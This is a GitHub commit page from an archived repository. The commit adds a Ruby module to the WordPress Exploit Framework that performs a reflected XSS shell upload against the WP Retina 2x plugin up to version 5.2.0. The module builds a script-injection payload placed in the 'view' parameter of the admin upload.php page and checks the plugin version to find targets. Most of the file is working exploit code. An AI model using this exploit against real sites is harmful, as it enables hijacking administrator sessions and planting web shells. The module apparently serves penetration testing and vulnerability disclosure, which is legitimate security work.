Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit bc38b85

Browse files
committed
Add WP Retina 2x <= 5.2.0 reflected XSS shell upload
1 parent 72d0bea commit bc38b85

File tree

1 file changed

+39
-0
lines changed

1 file changed

+39
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::WpRetina2xReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'WP Retina 2x <= 5.2.0 Reflected XSS Shell Upload',
11+
author: [
12+
'Chris Liu', # Dislosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['CVE', '2018-0511'],
17+
['WPVDB', '9040'],
18+
['URL', ' https://jvn.jp/en/jp/JVN30636823/index.html']
19+
],
20+
date: 'Mar 12 2018'
21+
)
22+
end
23+
24+
def check
25+
check_plugin_version_from_readme('wp-retina-2x', '5.2.2')
26+
end
27+
28+
def xss_payload
29+
url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><!--")
30+
end
31+
32+
def vulnerable_url
33+
normalize_uri(wordpress_url_admin, 'upload.php')
34+
end
35+
36+
def url_with_xss
37+
"#{vulnerable_url}?page=wp-retina-2x&view=#{xss_payload}"
38+
end
39+
end

0 commit comments

Comments
 (0)